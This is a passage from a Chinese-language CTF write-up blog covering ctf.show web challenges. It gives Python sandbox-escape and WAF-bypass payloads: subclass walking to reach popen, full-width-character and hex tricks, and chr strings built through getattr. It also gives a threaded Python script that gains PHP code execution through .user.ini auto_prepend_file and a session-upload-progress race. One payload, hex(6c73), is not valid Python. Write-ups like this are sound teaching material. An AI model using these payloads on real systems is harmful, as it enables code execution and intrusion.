列表有一个函数操作是[].clear(),可以清空该列表内元素

1
2
q=youdontknow.clear()
q=list(youdontknow)

可见banlist已经被清空了,接下来就是随便打

1
2
q=[].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /f*').read()
q=open("/flag").read()

其他方法

由于规定了接收的q是string型,因此"".__class__这类返回的class类型就会引起错误,因此需要将其转为str型

可以通过bytes.fromhex()绕过waf,同时也可以保证str型

1
2
3
q=__import__(bytes.fromhex(hex(28531)[2:]).decode()).popen(bytes.fromhex(hex(6c73)[2:]).decode()).readlines()
其中的o是全角字符,可以绕过waf
28531和6c73分别是os,ls的hex

image-20240222154818718

还有种比较抽象的办法

有一个内置函数没有被ban:dir(),用来查看当前范围内变量

image-20240222180447783

1
q=kiword

可见最后的kiword是chr

image-20240222180522602

就可以利用getattr拼凑出函数

1
2
getattr(__builtins__,kiword)->__builtins__.chr
getattr(__builtins__,kiword)(97)->__builtins__.chr(97)->a

可以拼出__builtins__.__import__('os').popen('ls').read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(105)+getattr(__builtins__,kiword)(109)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(114)+getattr(__builtins__,kiword)(116)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)
->
__import__

getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(115)
->
os

getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(101)+getattr(__builtins__,kiword)(110)
->
popen

getattr(__builtins__,kiword)(108)+getattr(__builtins__,kiword)(115)
->
ls

payload:

getattr(getattr(__builtins__,getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(105)+getattr(__builtins__,kiword)(109)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(114)+getattr(__builtins__,kiword)(116)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95))(getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(115)),getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(101)+getattr(__builtins__,kiword)(110))(getattr(__builtins__,kiword)(108)+getattr(__builtins__,kiword)(115)).read()

-urlencode>

getattr(getattr(__builtins__%2Cgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(105)%2Bgetattr(__builtins__%2Ckiword)(109)%2Bgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(114)%2Bgetattr(__builtins__%2Ckiword)(116)%2Bgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(95))(getattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(115))%2Cgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(101)%2Bgetattr(__builtins__%2Ckiword)(110))(getattr(__builtins__%2Ckiword)(100)%2Bgetattr(__builtins__%2Ckiword)(105)%2Bgetattr(__builtins__%2Ckiword)(114)).read()

原谅6_web3

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
include('waf.php');
$file = $_GET['file'] ?? NULL;
$content = $_POST['content'] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;

做法和easyshell的法二一样,包含一个session_upload_progress文件

先创建一个.user.ini文件,内容写上auto_prepend_file=/tmp/sess_whoami,目的是包含后面session_upload创建的临时文件

sess_whoami的大概内容如下

1
upload_progress_payload|a:5:{s:10:"start_time";i:1709120605;s:14:"content_length";i:51482;s:15:"bytes_processed";i:5259;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"q.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1709120605;s:15:"bytes_processed";i:5259;}}}

然后post传文件。在PHP_SESSION_UPLOAD_PROGRESS字段上打payload<?php system('ls');?>

在访问文件的时候,由于.user.ini的存在,每个php前面会自动"include" sess_whoami,从而导致payload被解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import io
import requests
import threading

sessid = 'whoami'


def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/',
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('base64 waf.php');?>"},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)


def READ(session):
while True:
resp = session.get("http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/")
if "q.txt" in resp.text:
print(resp.text)


event = threading.Event()
with requests.session() as session:
payload = {
"content": "auto_prepend_file=/tmp/sess_" + sessid
}
session.post("http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/?file=.user.ini", data=payload)
for i in range(1, 30):
threading.Thread(target=POST, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=READ, args=(session,)).start()
event.set()
  • Copyrights © 2022-2024 b1xcy